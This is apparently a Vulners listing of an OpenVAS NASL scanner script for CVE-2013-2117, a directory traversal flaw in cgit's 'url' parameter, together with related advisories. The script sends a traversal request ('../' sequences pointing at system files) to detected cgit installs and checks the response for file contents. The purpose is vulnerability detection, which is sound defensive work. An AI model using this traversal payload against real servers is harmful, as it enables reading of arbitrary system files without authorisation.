cgit 'url' Parameter Directory Traversal Vulnerability
🗓️ 28 May 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType
openvas🔗 plugins.openvas.org👁 17 Views
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2013-2117 | 9 Aug 201318:00 | – | cve | |
| CVE-2013-2117 | 9 Aug 201318:00 | – | cvelist | |
| CVE-2013-2117 | 9 Aug 201318:00 | – | debiancve | |
| EUVD-2013-2086 | 7 Oct 202500:30 | – | euvd | |
| [SECURITY] Fedora 17 Update: cgit-0.9.2-1.fc17 | 6 Jun 201301:37 | – | fedora | |
| [SECURITY] Fedora 18 Update: cgit-0.9.2-1.fc18 | 6 Jun 201301:30 | – | fedora | |
| [SECURITY] Fedora 19 Update: cgit-0.9.2-1.fc19 | 5 Jun 201303:16 | – | fedora | |
| Fedora 19 : cgit-0.9.2-1.fc19 (2013-9467) | 5 Jun 201300:00 | – | nessus | |
| Fedora 18 : cgit-0.9.2-1.fc18 (2013-9498) | 12 Jul 201300:00 | – | nessus | |
| Fedora 17 : cgit-0.9.2-1.fc17 (2013-9522) | 12 Jul 201300:00 | – | nessus |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/60164 |
| hjemli | www.hjemli.net/git/ |
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:lars_hjemli:cgit";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103720");
script_cve_id("CVE-2013-2117");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
script_version("2025-04-15T05:54:49+0000");
script_name("cgit 'url' Parameter Directory Traversal Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60164");
script_xref(name:"URL", value:"http://hjemli.net/git/");
script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
script_tag(name:"creation_date", value:"2013-05-28 13:55:35 +0200 (Tue, 28 May 2013)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2013 Greenbone AG");
script_dependencies("gb_cgit_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("cgit/installed", "cgit/repos");
script_tag(name:"solution", value:"Updates are available. Please see the references or vendor advisory
for more information.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"summary", value:"cgit is prone to a directory traversal vulnerability.
An attacker can exploit this issue using directory-traversal strings
to retrieve arbitrary files outside of the server root directory. This
may aid in further attacks.");
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);
repos = get_kb_list("cgit/repos");
x = 0;
files = traversal_files("linux");
foreach repo (repos) {
foreach pattern(keys(files)) {
file = files[pattern];
url = dir + '?url=/'+ repo + '/about/../../../../../../../../../../../' + file;
if(http_vuln_check(port:port, url:url,pattern:pattern)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
if(x > 10)exit(99);
x++;
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Apr 2025 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 24.3
EPSS0.01765